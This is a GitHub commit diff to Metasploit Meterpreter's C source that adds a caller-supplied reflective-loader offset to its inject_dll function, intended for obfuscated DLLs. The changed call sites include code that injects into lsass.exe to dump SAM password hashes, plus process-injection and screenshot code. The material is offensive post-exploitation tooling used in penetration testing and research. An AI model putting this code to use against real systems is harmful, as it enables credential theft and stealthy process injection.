Skip to content

Commit 81439d9

Browse files
committed
feat: support offset for inject_dll function
1 parent b3b8e77 commit 81439d9

5 files changed

Lines changed: 12 additions & 4 deletions

File tree

c/meterpreter/source/extensions/priv/passwd.c

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -503,7 +503,8 @@ DWORD __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresul
503503
dprintf("[PASSWD] Injecting into lsass.exe pid: %u", dwLsassPid);
504504

505505
/* todo: change the ReflectiveLoader string here, it's silly */
506-
if ((dwResult = met_api->inject.dll(dwLsassPid, dwLsassArch, dump_sam, (DWORD)stResourceSize, LOADER_ORDINAL(EXPORT_REFLECTIVELOADER), pvParameterMemory, 0)) != ERROR_SUCCESS)
506+
/* todo: support the offset for obfuscated dlls */
507+
if ((dwResult = met_api->inject.dll(dwLsassPid, dwLsassArch, dump_sam, (DWORD)stResourceSize, LOADER_ORDINAL(EXPORT_REFLECTIVELOADER), 0, pvParameterMemory, 0)) != ERROR_SUCCESS)
507508
BREAK_WITH_ERROR("[PASSWD} Unable to inject DLL", dwResult);
508509
dprintf("[PASSWD] Successfully injected the DLL into lsass.exe");
509510

c/meterpreter/source/extensions/stdapi/server/sys/process/ps.c

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -71,7 +71,8 @@ DWORD ps_inject( DWORD dwPid, DLL_BUFFER * pDllBuffer, LPCSTR reflectiveLoader,
7171
if( dwDllArch != dwPidArch )
7272
BREAK_WITH_ERROR( "[PS] ps_inject_dll. pid/dll architecture mixup", ERROR_BAD_ENVIRONMENT );
7373

74-
dwResult = met_api->inject.dll( dwPid, dwPidArch, lpDllBuffer, dwDllLength, reflectiveLoader, cpCommandLine, strlen(cpCommandLine) + 1 );
74+
// TODO: support offset for obfuscated dlls
75+
dwResult = met_api->inject.dll( dwPid, dwPidArch, lpDllBuffer, dwDllLength, reflectiveLoader, 0, cpCommandLine, strlen(cpCommandLine) + 1 );
7576
} while( 0 );
7677

7778
return dwResult;

c/meterpreter/source/extensions/stdapi/server/ui/desktop.c

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -427,6 +427,8 @@ DWORD request_ui_desktop_screenshot(Remote * remote, Packet * request)
427427
}
428428

429429
LPCSTR reflectiveLoader = met_api->packet.get_tlv_value_reflective_loader(request);
430+
// TODO: Get optional offset for external reflective loader
431+
// Modify the DLL_BUFFER struct to support offsets...
430432

431433
// get the x86 and x64 screenshot dll's. we are not obliged to send both but we reduce the number of processes
432434
// we can inject into (wow64 and x64) if we only send one type on an x64 system. If we are on an x86 system

c/meterpreter/source/metsrv/base_inject.c

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -654,7 +654,7 @@ DWORD inject_via_poolparty(Remote* remote, Packet* response, HANDLE hProcess, DW
654654
*/
655655

656656

657-
DWORD inject_dll(DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD dwDllLength, LPCSTR reflectiveLoader, LPVOID lpArg, SIZE_T stArgSize)
657+
DWORD inject_dll(DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD dwDllLength, LPCSTR reflectiveLoader, DWORD dwActualReflectiveLoaderOffset, LPVOID lpArg, SIZE_T stArgSize)
658658
{
659659
DWORD dwResult = ERROR_ACCESS_DENIED;
660660
LPVOID lpRemoteArg = NULL;
@@ -672,6 +672,10 @@ DWORD inject_dll(DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD
672672

673673
// check if the library has a ReflectiveLoader...
674674
dwReflectiveLoaderOffset = GetReflectiveLoaderOffset(lpDllBuffer, reflectiveLoader);
675+
if(dwActualReflectiveLoaderOffset != 0) {
676+
dprintf("[INJECT] inject_dll. Overriding ReflectiveLoader offset with supplied value: 0x%08X", dwActualReflectiveLoaderOffset);
677+
dwReflectiveLoaderOffset = dwActualReflectiveLoaderOffset;
678+
}
675679
if (!dwReflectiveLoaderOffset)
676680
BREAK_WITH_ERROR("[INJECT] inject_dll. GetReflectiveLoaderOffset failed.", ERROR_INVALID_FUNCTION);
677681

c/meterpreter/source/metsrv/base_inject.h

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -98,7 +98,7 @@ DWORD inject_via_poolparty(Remote* remote, Packet* response, HANDLE hProcess, DW
9898

9999
DWORD inject_via_remotethread_wow64(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE * pThread);
100100

101-
DWORD inject_dll(DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD dwDllLength, LPCSTR reflectiveLoader, LPVOID lpArg, SIZE_T stArgSize);
101+
DWORD inject_dll(DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD dwDllLength, LPCSTR reflectiveLoader, DWORD dwActualReflectiveLoaderOffset, LPVOID lpArg, SIZE_T stArgSize);
102102
BOOL supports_poolparty_injection(DWORD dwSourceArch, DWORD dwDestinationArch);
103103
//===============================================================================================//
104104
#endif

0 commit comments

Comments
 (0)